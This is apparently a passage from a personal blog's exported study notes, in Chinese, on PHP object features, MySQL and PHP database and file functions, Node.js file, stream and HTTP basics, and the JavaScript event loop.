使用`var_export()`方法时,自动调用的方法 static function __set_state($arr) &#123; &#125; // `$person()`,自动调用的方法,php5.3+ function __invoke() &#123; echo '实例调用了'; echo '&lt;br&gt;'; &#125; // `Person::hello()`,调用不存在的静态方法时自动调用 static function __callStatic($method, $args) &#123; echo "你调用的静态方法&#123;$method&#125;不存在"; echo '&lt;br&gt;'; &#125; function say() &#123; print_r("my name is &#123;$this-&gt;name&#125;, my age is &#123;$this-&gt;age&#125;, my gender is &#123;$this-&gt;gender&#125;"); &#125;&#125;$person = new Person('wuwh', 22, 'male');// 序列化$ser = serialize($person);echo $ser;echo '&lt;br&gt;';// 反序列化$unser = unserialize($ser);echo $unser;echo '&lt;br&gt;';$p = clone $person;$p-&gt;say();$p-&gt;aaa('a', 'a', 'a');/* $ex = var_export($p, true);var_dump($ex); */// 调用静态方法`__invoke()`$p();// 调用 `__callStatic()`Person::hello(); 接口1234567891011121314151617181920212223242526272829303132/** * 接口和抽象类对比 * 1. 接口中的方法,必须全是抽象方法 * 2. 接口中的成员属性,必须是常量 * 3. 所有的权限必须是共有的 * 4. 声明接口不使用class,而是使用interface */interface Demo &#123; // 接口中的成员属性,必须是常量 const NAME = 'ABC'; // 抽象方法修饰符`static`可以省略 function a(); function b();&#125;// 可以使用`extends`让一个接口继承另一个接口interface Test extends Demo &#123; function t();&#125;class Word &#123; function w() &#123; &#125;&#125;// 可以使用一个类来实现接口中的全部方法,可以使用一个抽象类,来实现接口中的部分方法// 一个类可以在继承另一个类的同时,使用`implements`实现一个接口,可以实现多个接口(一定要先继承,再实现接口)class Hello extends Word implements Test &#123; function a() &#123;&#125; function b() &#123;&#125; function t() &#123;&#125;&#125; 单例模式12345678910111213141516171819202122232425// 单例模式class Person &#123; static $obj = null; static function getObj() &#123; if(!self::$obj instanceof self) &#123; self::$obj = new self; &#125; /* if(is_null(self::$obj)) &#123; self::$obj = new self; &#125; */ return self::$obj; &#125; function __construct()&#123; echo 'hello...'; &#125; function __destruct() &#123; echo 'destruct...'; &#125;&#125;Person::getObj();Person::getObj();Person::getObj();Person::getObj();Person::getObj(); 数据库配置环境变量,可以直接使用mysql命令:此电脑-&gt;属性-&gt;高级-&gt;环境变量 连接远程数据库 -u用户名 -p密码mysql -h localhost -uroot -p 获取user表格所有数据select * from mysql.user create database [dbname]添加库 12mysql&gt; create database aaa;Query OK, 1 row affected (0.00 sec) show databases查看数据库 1234567891011mysql&gt; show databases;+--------------------+| Database |+--------------------+| information_schema || mysql || performance_schema || test || xsphp |+--------------------+5 rows in set (0.16 sec) use [dbname]切换到数据库 12mysql&gt; use xsphpDatabase changed show tables查看表格 12mysql&gt; show tables;Empty set (0.00 sec) create table [tablename]创建一个表格 12mysql&gt; create table users(id int not null auto_increment primary key);Query OK, 0 rows affected (0.64 sec) 再查看表格列表 1234567mysql&gt; show tables;+-----------------+| Tables_in_xsphp |+-----------------+| users |+-----------------+1 row in set (0.00 sec) desc [tablename]查看表格详细信息 1234567mysql&gt; desc users;+-------+---------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+-------+---------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment |+-------+---------+------+-----+---------+----------------+1 row in set (0.13 sec) alter table [tablename] add [field] [desc]新增字段 123456789101112mysql&gt; alter table users add username char(30) not null default &apos;&apos;;Query OK, 0 rows affected (0.46 sec)Enregistrements: 0 Doublons: 0 Avertissements: 0mysql&gt; desc users;+----------+----------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+----------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || username | char(30) | NO | | | |+----------+----------+------+-----+---------+----------------+2 rows in set (0.01 sec) show create table [tablename]查看创建表格语句 123456mysql&gt; show create table users;| users | CREATE TABLE `users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` char(30) NOT NULL DEFAULT &apos;&apos;, PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=latin1 | 再增加一个字段 12345678910111213mysql&gt; alter table users add password varchar(40) not null default &apos;&apos;;Query OK, 0 rows affected (0.36 sec)Enregistrements: 0 Doublons: 0 Avertissements: 0mysql&gt; desc users;+----------+-------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+-------------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || username | char(30) | NO | | | || password | varchar(40) | NO | | | |+----------+-------------+------+-----+---------+----------------+3 rows in set (0.01 sec) alter table [tablename] drop column [field]删除字段 123456789101112mysql&gt; alter table users drop column password;Query OK, 0 rows affected (0.34 sec)Enregistrements: 0 Doublons: 0 Avertissements: 0mysql&gt; desc users;+----------+----------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+----------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || username | char(30) | NO | | | |+----------+----------+------+-----+---------+----------------+2 rows in set (0.01 sec) alter table [tablename] modify column [filed] [desc]修改一个字段 123456789101112mysql&gt; alter table users modify column username char(22);Query OK, 0 rows affected (0.51 sec)Enregistrements: 0 Doublons: 0 Avertissements: 0mysql&gt; desc users;+----------+----------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+----------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || username | char(22) | YES | | NULL | |+----------+----------+------+-----+---------+----------------+2 rows in set (0.01 sec) insert into [tablename] (key1, key2, ...) values (value1, value2, ...)添加数据 12345678910mysql&gt; insert into users (username, password) values (&apos;admin&apos;, &apos;admin&apos;);Query OK, 1 row affected (0.07 sec)mysql&gt; select * from users;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | admin |+----+----------+----------+1 row in set (0.00 sec) update [tablename] set [field]=value1, [field]=values2 where [conditions] 修改数据 12345678910111213mysql&gt; update users set username=&apos;www&apos;, password=&apos;123456&apos; where id=3;Query OK, 1 row affected (0.09 sec)Enregistrements correspondants: 1 Modifi茅s: 1 Warnings: 0mysql&gt; select * from users;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | admin || 2 | boss | boss || 3 | www | 123456 |+----+----------+----------+3 rows in set (0.00 sec) delete from [tablename] where [conditions]删除数据 12345678mysql&gt; select * from users;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | admin || 3 | www | 123456 |+----+----------+----------+2 rows in set (0.00 sec) drop table [tablename]删除表 drop database [dbname]删除库 PHP操作数据库12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758// 连接数据库(返回资源)$link = @mysql_connect(&apos;localhost&apos;, &apos;root&apos;, &apos;&apos;);if(!$link) &#123; echo &apos;连接数据库失败!&lt;br&gt;&apos;; echo mysql_error();&#125;// 设置操作// mysql_query(&apos;set names utf8&apos;); // 设置字符集为utf-8// 选择一个数据库作为默认的数据库使用mysql_select_db(&apos;xsphp&apos;);// 操作数据库的sql语句执行$sql = &apos;select id, username, password from users order by id&apos;;// 执行sql语句$result = mysql_query($sql);// 前一个操作影响的行数(判断表是否有变化)// echo mysql_affected_rows().&apos;&lt;br&gt;&apos;;// echo mysql_insert_id();// 从结果集这个资源中获取想要的结果// `mysql_fetch_row($result)` 转化成索引数组// `mysql_fetch_assoc($result)` 转化成关联数组// `mysql_fetch_array($result, MYSQL_ASSOC)` 转化索引数组和关联数组的组合,第二个参数可取值:MYSQL_ASSOC(关联),MYSQL_NUM(索引),MYSQL_BOTH(默认两个都返回)// `mysql_fetch_object($result) ` 转化为对象// 默认指针指向第一条(可以使用`mysql_data_seek`改变自己定义的指定位置)// 获取一条后,指针自动移动下一位置,最后一个位置返回false// mysql_data_seek($result, 1);/* print_r(mysql_fetch_row($result));echo &apos;&lt;br&gt;&apos;; */echo &apos;&lt;table border=&quot;1&quot;&gt;&apos;;echo &apos;&lt;tr&gt;&apos;;for($i = 0; $i &lt; mysql_num_fields($result); $i++) &#123; echo &apos;&lt;td&gt;&apos;.mysql_field_name($result, $i).&apos;&lt;/td&gt;&apos;;&#125;echo &apos;&lt;/tr&gt;&apos;;while ($row = mysql_fetch_assoc($result)) &#123; echo &apos;&lt;tr&gt;&apos;; echo &quot;&lt;td&gt;&#123;$row[&apos;id&apos;]&#125;&lt;/td&gt;&quot;; echo &quot;&lt;td&gt;&#123;$row[&apos;username&apos;]&#125;&lt;/td&gt;&quot;; echo &quot;&lt;td&gt;&#123;$row[&apos;password&apos;]&#125;&lt;/td&gt;&quot;; /* foreach ($row as $key =&gt; $value) &#123; echo &quot;&lt;td&gt;&#123;$value&#125;&lt;/td&gt;&quot;; &#125; */ echo &apos;&lt;/tr&gt;&apos;;&#125;echo &apos;&lt;/table&gt;&apos;;echo &apos;共有&apos;.mysql_num_rows($result).&apos;条记录;&apos;.mysql_num_fields($result).&apos;个字段&apos;;print_r(mysql_fetch_assoc($result));echo &apos;&lt;br&gt;&apos;;var_dump($result);// 关闭连接mysql_close($link); 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234&lt;?php header(&quot;content-type:text/html;charset=utf-8&quot;); //设置编码 /* function parseFileSize($size) &#123; if($size &gt; pow(2, 40)) &#123; $size = $size / pow(2, 40); $suffix = &apos;TB&apos;; &#125; else if($size &gt; pow(2, 30)) &#123; $size = $size / pow(2, 30); $suffix = &apos;GB&apos;; &#125; else if ($size &gt; pow(2, 20)) &#123; $size = $size / pow(2, 20); $suffix = &apos;MB&apos;; &#125; else if ($size &gt; pow(2, 10)) &#123; $size = $size / pow(2, 10); $suffix = &apos;KB&apos;; &#125; else &#123; $suffix = &apos;Types&apos;; &#125; return $size.$suffix; &#125; */ /* function getFilePro($filename) &#123; if(file_exists($filename)) &#123; // `filesize($filename)`文件大小 echo parseFileSize(filesize($filename)); echo &apos;&lt;br&gt;&apos;; // `is_dir($filename)`是否目录 if(is_dir($filename)) &#123; echo &apos;这是一个目录&lt;br&gt;&apos;; &#125; // `is_file($filename)`是否为文件 if(is_file($filename)) &#123; echo &apos;这是一个文件&lt;br&gt;&apos;; &#125; // `is_readable($filename)`是否可读 if(is_readable($filename)) &#123; echo &apos;文件可读&lt;br&gt;&apos;; &#125; // `is_writeable($filename)`是否可写 if(is_writable($filename)) &#123; echo &apos;文件可写&lt;br&gt;&apos;; &#125; // `is_excutable($filename)`是否可执行 if(is_executable($filename)) &#123; echo &apos;文件可执行&lt;br&gt;&apos;; &#125; // 创建时间 echo &apos;创建时间:&apos;.date(&apos;y-m-d h:m:s&apos;, filectime($filename)).&apos;&lt;br&gt;&apos;; // 访问时间 echo &apos;访问时间:&apos;.date(&apos;y-m-d h:m:s&apos;, fileatime($filename)).&apos;&lt;br&gt;&apos;; // 修改时间 echo &apos;修改时间:&apos;.date(&apos;y-m-d h:m:s&apos;, filemtime($filename)).&apos;&lt;br&gt;&apos;; &#125; else &#123; echo &apos;文件不存在!&lt;br&gt;&apos;; &#125; &#125; getFilePro(&apos;./test.txt&apos;); */ /* function getFileType($filename) &#123; if(!file_exists($filename)) &#123; echo &apos;文件不存在!&apos;; return false; &#125; // `filetype()`返回文件类型 // 文件类型 fifo, char, dir, block, link, file switch (filetype($filename)) &#123; case &apos;dir&apos;: echo &apos;这是一个目录&lt;br&gt;&apos;; break; case &apos;char&apos;: echo &apos;这是一个字符设置&lt;br&gt;&apos;; break; case &apos;block&apos;: echo &apos;这是一块设备&lt;br&gt;&apos;; break; case &apos;file&apos;: echo &apos;这是一个文件&lt;br&gt;&apos;; break; case &apos;link&apos;: echo &apos;这是一个链接&lt;br&gt;&apos;; break; default: break; &#125; &#125; getFileType(&apos;./test.txt&apos;); */ /* $filename = &apos;http://baidu.com/search/index.php?w=666&apos;; // `basename` `dirname` `pathinfo` echo &apos;basename:&apos;.basename($filename).&apos;&lt;br&gt;&apos;; echo &apos;dirname:&apos;.dirname($filename).&apos;&lt;br&gt;&apos;; echo &apos;pathinfo:&apos;; // print_r(pathinfo($filename)); // `glob()`遍历文件 foreach(glob(&apos;./php/*.dll&apos;) as $filename) &#123; echo $filename; echo &apos;&lt;br&gt;&apos;; &#125; // `opendir($path)`打开目录资源 $dir = opendir(&apos;php&apos;); // `readdir($dir_handle)`读取目录 while($filename = readdir($dir)) &#123; if($filename != &apos;.&apos; &amp;&amp; $filename != &apos;..&apos;) &#123; $filename = &apos;php/&apos;.$filename; if(is_file($filename)) &#123; echo &apos;文件:&apos;.$filename.&apos;&lt;br&gt;&apos;; &#125; else &#123; echo &apos;目录:&apos;.$filename.&apos;&lt;br&gt;&apos;; &#125; &#125; &#125; echo &apos;########################&lt;br&gt;&apos;; // `rewinddir($dir_handle)`倒回目录句柄 rewinddir($dir); while($filename = readdir($dir)) &#123; if($filename != &apos;.&apos; &amp;&amp; $filename != &apos;..&apos;) &#123; $filename = &apos;php/&apos;.$filename; if(is_file($filename)) &#123; echo &apos;文件:&apos;.$filename.&apos;&lt;br&gt;&apos;; &#125; else &#123; echo &apos;目录:&apos;.$filename.&apos;&lt;br&gt;&apos;; &#125; &#125; &#125; // 关闭目录资源 closedir($dir); */ // `disk_total_space($directory)` 磁盘总大小 $total = disk_total_space(&apos;c:&apos;); echo &apos;c盘总大小:&apos;.($total / pow(2, 30)).&apos;&lt;br&gt;&apos;; // `disk_free_space($directory)` 磁盘剩余空间 $free = disk_free_space(&apos;c:&apos;); echo &apos;c盘剩余可用空间:&apos;.($free / pow(2, 30)).&apos;&lt;br&gt;&apos;; $dirnum = 0; // 目录总数 $filenum = 0; // 文件总数 $filesize = 0; // 文件总大小 function getDirNum($file) &#123; global $dirnum; global $filenum; $dir = opendir($file); while($filename = readdir($dir)) &#123; if($filename != &apos;.&apos; &amp;&amp; $filename != &apos;..&apos;) &#123; $filename = $file.&apos;/&apos;.$filename; if(is_dir($filename)) &#123; $dirnum++; getDirNum($filename); &#125; else &#123; $filenum++; $filesize += filesize($filename); &#125; &#125; &#125; closedir($dir); &#125; $directory = &apos;php&apos;; getDirNum($directory); echo $directory.&apos;文件夹下的目录总个数&apos;.$dirnum; echo $directory.&apos;文件夹下的文件总个数&apos;.$filenum; echo $directory.&apos;文件夹下的文件总大小:&apos;.$filesize; // `touch($filename)`创建一个空文件 // touch(&apos;demo.js&apos;); // `copy($source, $dest)`复制文件 // copy(&apos;demo.js&apos;, &apos;text.js&apos;); // `rename($oldname, $newname)`移动或重命名一个文件 // rename(&apos;demo.js&apos;, &apos;demo_rename.js&apos;); // `unlink($filename)`删除一个文件 // unlink(&apos;demo.js&apos;); // `fopen($filename, $mode)`打开文件 // $fp = fopen(&apos;demo.js&apos;, &apos;w&apos;); // `ftruncate($handle, $size)`将文件截取指定长度 // ftruncate($fp, 100); // 对文件内容的操作 // `file_get_contents($filename)`获取文件内容 // $content = file_get_contents(&apos;demo.js&apos;); // print_r($content); // `file_put_contents($filename, $data)`覆盖写入内容 // file_put_contents(&apos;demo.js&apos;, &apos;abc&apos;); // `file($filename)`读取文件内容到数组中 // $fileArr = file(&apos;demo.js&apos;); // print_r($fileArr); // `readfile($filename)`读取文件并写入到缓存 // readfile(&apos;http://baidu.com&apos;); // `fopen($filename, $mode)`打开文件 // `$mode`打开模式 // r只读,将文件指针指向文件头 // r+读写,将文件指针指向文件头 // w只写,将文件指针指向文件头并将文件大小截为0,不存在则创建,也就是覆盖 // w+读写,将文件指针指向文件头并将文件大小截为0,不存在则创建 // a只写,将文件指针指向文件尾,不存在则创建,也就是追加 // a+读写,将文件指针指向文件尾,不存在则创建 // 读取二进制文件要加上b $fp = fopen(&apos;demo.js&apos;, &apos;r+&apos;); // `fwrite($handle, $string)`写入内容 // fwrite($fp, &apos;bb\n&apos;); // `fgetc($handle)`获取一个字符 // echo fgetc($fp); // feof($handle)文件出错或文件结尾变成假 /* while (!feof($fp)) &#123; // `fgets($handle)`一次读取一行 echo fgets($fp); &#125; */ // `fread($handle, $length)`一次读取文件的长度 echo fread($fp, 4); echo &apos;&lt;br&gt;&apos;; // `ftell($handle)`读取指针位置 echo ftell($fp); echo &apos;&lt;br&gt;&apos;; // `fseek($handle, $offset)`移动指针到指定位置 fseek($fp, 6); echo ftell($fp); echo &apos;&lt;br&gt;&apos;; // `rewind($handle)`文件指针设置到文件开头 rewind($fp); echo ftell($fp); echo &apos;&lt;br&gt;&apos;; fclose($fp);?&gt;]]></content>
<categories>
<category>php</category>
</categories>
<tags>
<tag>php</tag>
</tags>
</entry>
<entry>
<title><![CDATA[nodejs学习笔记]]></title>
<url>%2F2018%2F04%2F28%2Fnodejs-study%2F</url>
<content type="text"><![CDATA[node 内部对模块输出 module.exports 的实现变量 module 是 Node 在加载 js 文件前准备的一个变量,并将其传入加载函数 12345678910111213141516171819202122// 准备module对象var module = &#123; id: 'hello', exports: &#123;&#125;&#125;var load = function (module) &#123; // 读取的hello.js代码 function greet(name) &#123; console.log('Hello, ' + name + '!') &#125; module.exports = greet // hello.js代码结束 return module.exports&#125;var exported = load(module)// 保存modulesave(module, exported) 默认情况下,Node 准备的 exports 变量和 module.exports 变量实际上是同一个变量,所以一下两种写法都支持 123456789101112// method 1module.exports = &#123; foo: foo, bar: bar&#125;;ormodule.exports.foo = foo;module.exports.bar = bar;// method 2exports.foo = foo;exports.bar = bar; process下一轮事件循环 回调 123process.nextTick(function() &#123; console.log(&apos;nextTick callback&apos;);&#125;); 程序即将退出 回调 12345process.on(&apos;exit&apos;, function(code) &#123; console.log(&apos;about to exit with code&apos; + code);&#125;);console.log(&apos;nextTick set&apos;); readFile/readFileSync writeFile/writeFileSync stat异步读取一个文本文件 12345678fs.readFile('./hello.js', 'utf-8', function (err, data) &#123; console.log('read file start...') if (err) &#123; console.log(err) &#125; else &#123; console.log(data) &#125;&#125;) 异步读取一个二进制文件 123456789101112fs.readFile('1.jpg', function (err, data) &#123; if (err) &#123; console.log(err) &#125; else &#123; // 返回一个buffer对象 console.log(data) // Buffer对象转化成字符串 console.log(data.toString('utf-8')) // 文件大小 console.log(data.length + ' bytes') &#125;&#125;) 同步读取一个文件直接返回,读取错误用 try…catch 捕获 12345678try &#123; var data = fs.readFileSync('./1.jpg') console.log(data)&#125; catch (err) &#123; console.log(err)&#125;console.log('readFileSync ended') 异步写入一个文件,默认是以 UTF-8 编码写入文本文件 123456789var data = 'Hello,Node.js'// var data = fs.readFileSync('./1.jpg');fs.writeFile('output.txt', data, function (err) &#123; if (err) &#123; console.log(err) &#125; else &#123; console.log('write file finished') &#125;&#125;) 同步写入文本到一个文件 123var data = 'Hello,Node.js,I am sync data'fs.writeFileSync('output.txt', data)console.log('writeFileSync ended') 获取文件信息 12345678910111213141516171819fs.stat('./1.jpg', function (err, stat) &#123; if (err) &#123; console.log(err) &#125; else &#123; // 是否是文件 console.log('isFile:' + stat.isFile()) // 是否是目录 console.log('isDirectory:' + stat.isDirectory()) if (stat.isFile()) &#123; // 文件大小 console.log('size:' + stat.size) // 创建时间,Date对象 console.log('birth time:' + stat.birthtime) // 修改时间,Date对象 console.log('modified time:' + stat.mtime) &#125; &#125;&#125;) PS:绝大部分需要在服务器运行期反复执行业务逻辑,必须使用异步代码服务器启动时如果需要读取配置文件,或者结束时需要写入到状态文件时,可以使用同步代码 createReadStream createWriteStream pipe在 node.js 中,流也是一个对象,我们只需要响应流的事件就可以了。data 事件表示流的数据已经可以读取了,end 事件表示这个流已经到末尾了,没有数据可以读取了,error 事件表示出错。 1234567891011121314var rs = fs.createReadStream('./data.txt', 'utf-8')// data事件可能有多次,每次传递的chunk是流的一部分数据rs.on('data', function (chunk) &#123; console.log('data event:', chunk)&#125;)rs.on('end', function (chunk) &#123; console.log('end event:')&#125;)rs.on('error', function (chunk) &#123; console.log('error event:')&#125;) 以流的形式写入文件,只需要不断调用 write()方法,最后以 end()结束 12345var ws = fs.createWriteStream('./data.txt')ws.write('user stream write data\n')ws.write('loading...\n')ws.write('END')ws.end() pipe()把一个文件流和另一个文件流串起来,这样源文件的所有数据就自动写入到目标文件里 1234var rs = fs.createReadStream('./data.txt')var ors = fs.createReadStream('./output.txt')var ws = fs.createWriteStream('./output.txt')rs.pipe(ws) 创建一个服务器 123456789101112131415var server = http.createServer(function (request, response) &#123; // http请求头的method和url console.log('header meathod:', request.method) console.log('header url:', request.url) // 将http响应200写入response,同时设置content-type response.writeHead(200, &#123; 'Content-Type': 'text/html' &#125;) // 将http响应的html内容写入response response.end('&lt;h1&gt;Hello world!&lt;/h1&gt;')&#125;)server.listen(8080)console.log('Server is running at http://localhost:8080') 实现一个文件服务器,拼接访问路径读取本地文件,从命令参数获取 root 目录,默认是当前目录 12345678910111213141516171819202122232425262728293031323334353637383940414243444546var root = path.resolve('.')console.log('Static root dir:' + root)// 创建服务器var server = http.createServer(function (request, response) &#123; // node提供url模块解析url字符串 获取url的path var pathname = url.parse(request.url).pathname if (pathname === '/favicon.ico') &#123; return &#125; console.log('url:', url.parse(request.url)) // 获取对应本地文件路径 var filepath = path.join(root, pathname) // 读取文件状态 fs.stat(filepath, function (err, stats) &#123; // 文件出错 if (err) &#123; console.log('file error!') response.end('&lt;h1&gt;file error!&lt;/h1&gt;') return &#125; // 是文件 if (stats.isFile()) &#123; console.log('200 ' + request.url) response.writeHead(200) // 将文件流导入response fs.createReadStream(filepath).pipe(response) &#125; // 文件不存在 else &#123; console.log('404 ' + request.url) response.writeHead(404) // 将文件流导入response response.end('&lt;h1&gt;404 not found!&lt;/h1&gt;') &#125; &#125;)&#125;)server.listen(8080)console.info('Server is runing at http://localhost:8080/') express 是第一代流行的 web 框架,它对 Node.js 的 HTTP 进行封装,语法基于 ES5,要实现异步代码,只有一个方法:回调。 koa2 完全基于 ES7 开发,使用 Promise 配合 async 实现异步 12345678910111213141516171819202122232425262728// 创建一个Koa对象const app = new Koa()// 对于任何请求,app将调用该异步函数处理请求// ctx是koa封装request和response变量// next是koa传入的将要处理下一个异步函数// 每个async函数称为middleware// app.use()顺序决定了middleware的顺序app.use(async (ctx, next) =&gt; &#123; fs.readFile('./data.txt', 'utf-8', function (err, data) &#123; console.log(data) &#125;) // 调用下一个middleware,如果没有调用,则下一个middleware不会执行 await next()&#125;)app.use(async (ctx, next) =&gt; &#123; ctx.response.type = 'text/html' ctx.response.body = '&lt;h1&gt;Hello, koa!&lt;/h1&gt;' console.log('response end') // 调用下一个middleware await next()&#125;)app.listen(3000)console.log('app started at http://localhost:3000/') 概念异步驱动特性,在主线程不被 CPU 密集型所影响时,可真正发挥出 Node.js 高并发特性,可以作为大部分网络 I/O 较高的后端服务。]]></content>
<categories>
<category>nodejs</category>
</categories>
<tags>
<tag>nodejs</tag>
</tags>
</entry>
<entry>
<title><![CDATA[理解同步、异步和事件循环]]></title>
<url>%2F2018%2F04%2F20%2F%E7%90%86%E8%A7%A3%E5%90%8C%E6%AD%A5%E3%80%81%E5%BC%82%E6%AD%A5%E5%92%8C%E4%BA%8B%E4%BB%B6%E5%BE%AA%E7%8E%AF%2F</url>
<content type="text"><![CDATA[JavaScript运行机制: 所有同步任务都在主线程上执行,形成一个执行栈; 主线程发起异步请求,相应的工作线程就会去执行异步任务,主线程可以继续执行后面的代码; 主线程之外,还存在一个”任务队列”(task queue)。只要异步任务有了运行结果,就在”任务队列”之中放置一个事件,也就是一个消息; 一旦”执行栈”中的所有同步任务执行完毕,系统就会读取”任务队列”,看看里面有哪些事件。那些对应的异步任务,于是结束等待状态,进入执行栈,开始执行; 主线程把当前的事件执行完成之后,再去读取任务队列,如此反复重复执行,这样就行程了事件循环。 1、单线程JS引擎在解释和执行JavaScript代码线程只有一个,叫做主线程。但实际还存在其他线程,如:处理Ajax请求线程,处理DOM事件线程,定时器线程,和文件读写线程等,叫做工作线程。 2、同步和异步同步:如果函数返回的时候,调用者就能够得到预期结果。 1Math.sqrt(2); 异步:函数返回的时候,调用者还不能够得到预期结果,而是需要通过一定手段得到。 123fs.readFile(&quot;foo.txt&quot;, &quot;utf8&quot;, function(err, data)&#123; console.log(data)&#125;) 上面代码中,我们希望fs.readFile函数读取文件,并打印出来,但是在fs.readFile函数返回时,我们期望的结果并不会发生,而是要等文件全部读取完成之后。 异步AJAX: 主线程:“你好,AJAX线程。请你帮我发个HTTP请求吧,我把请求地址和参数都给你了。” AJAX线程:“好的,主线程。我马上去发,但可能要花点儿时间呢,你可以先去忙别的。” 主线程::“谢谢,你拿到响应后告诉我一声啊。” (接着,主线程做其他事情去了。一顿饭的时间后,它收到了响应到达的通知。) 同步AJAX: 主线程:“你好,AJAX线程。请你帮我发个HTTP请求吧,我把请求地址和参数都给你了。” AJAX线程:“……” 主线程::“喂,AJAX线程,你怎么不说话?” AJAX线程:“……” 主线程::“喂!喂喂喂!” AJAX线程:“……” (一炷香的时间后) 主线程::“喂!求你说句话吧!” AJAX线程:“主线程,不好意思,我在工作的时候不能说话。你的请求已经发完了,拿到响应数据了,给你。” 正因为JavaScript时单线程,同步容易造成阻塞,所以,对于耗时和操作事件不确定操作,使用异步就成了必然选择。 3、异步过程一个异步过程通常时这样的: 主线程发起一个异步请求,相应的工作线程接收线程请求并告知主线程已收到;主线程可以继续执行后面的代码,同时工作线程执行异步任务;工作线程完成工作后,通知主线程;主线程收到通知后,执行一定动作(调用回调函数)。 异步函数通常具有一下形式: 1A(arg..., callbackFn) 他可以叫做异步过程的发起函数,或者叫做异步任务注册函数。 从主线程的角度看,一个一度过程包括两个要素: 发起函数(注册函数) 回到函数 4、消息队列和事件循环异步过程中,工作线程在异步操作完成后需要通知主线程。那么这个通知机制时怎样实现的呢?答案是利用消息队列和事件循环。 一句话概括: 工作线程将消息放到消息队列,主线程通过事件循环过程去取消息。 消息队列:消息队列是一个先进先出的队列,放着各种消息。 事件循环:事件循环是指主线程从消息队列中取消息,执行的过程。 实际上,主线程只会做一件事,就是从消息队列里面取消息、执行消息,再去消息,再执行。当消息队列为空时,就会等待知道消息队列变成非空。而且主线程只有在将当前的消息执行完成后,才会去取下一个消息。这种机制就叫做事件循环机制,取一个消息并执行的过程叫做一次循环。 消息队列中放的消息是什么东西?消息的具体结构当然跟具体的实现有关,可以认为: 消息就是注册异步任务时添加的回调函数。 以异步Ajax为例 123$.ajax(&apos;http://segmentfault.com&apos;, function(resp) &#123; console.log(&apos;我是响应:&apos;, resp);&#125;); 主线程发起Ajax请求后,会继续执行其他代码。Ajax线程负责请求 segmentfault.com,拿到响应后,它会把响应封装成一个JavaScript对象,然后构成一条消息: 1234var message = function() &#123; callbackFn();&#125; 其中callbackFn就是前面代码中成功响应时的回调函数。 主线程在执行完当前循环中所有代码后,就会到消息队列取出这条消息(也就是message函数),并执行它,到此为止,就完成了工作线程对主线程的通知,回调函数也就得到了执行。如果一开始主线程就没有提供回调函数,Ajax线程在收到HTTP响应后,也就没有必要通知主线程,从而没必要往消息队列放消息。 异步过程的回调函数,一定不在当前这一轮事件循环中执行。 5、异步与事件 消息队列中的每条消息实际上都对应着一个事件 有一类很重要的异步过程:DOM事件 1234var button = document.getElement(&apos;#btn&apos;);button.addEventListener(&apos;click&apos;, function(e) &#123; console.log();&#125;); 从事件的角度来看,上述代码表示:在按钮上添加了一个鼠标单击事件的事件监听器;当用户点击按钮时,鼠标单击事件触发,事件监听器函数被调用。 从异步过程的角度看,addEventListener函数就是异步过程的发起函数,事件监听器函数就是异步过程的回调函数。事件触发时,表示异步任务完成,会将事件监听器函数封装成一条消息放到消息队列中,等待主线程执行。 事件的概念实际上并不是必须的,事件机制实际上就是异步过程的通知机制。我觉得它的存在是为了编程接口对开发者更友好。 另一方面,所有的异步过程也都可以用事件来描述。例如:setTimeout可以看成对应一个时间到了!的事件。前文的setTimeout(fn, 1000);可以看成: 1timer.addEventListener(&apos;timeout&apos;, 1000, fn); 工作线程是生产者,主线程是消费者(只有一个消费者)。工作线程执行异步任务,执行完成后把对应的回调函数封装成一条消息放到消息队列中;主线程不断地从消息队列中取消息并执行,当消息队列空时主线程阻塞,直到消息队列再次非空。 6、macrotasks与microtasks的区别 macrotasks: setTimeout setInterval setImmediate I/O UI渲染 microtasks: Promise process.nextTick Object.observe MutationObserver microtask会在当前循环中执行完成,而macrotask会在下一个循环中执行]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[HTTP缓存机制]]></title>
<url>%2F2018%2F04%2F18%2FHTTP%E7%BC%93%E5%AD%98%E6%9C%BA%E5%88%B6%2F</url>
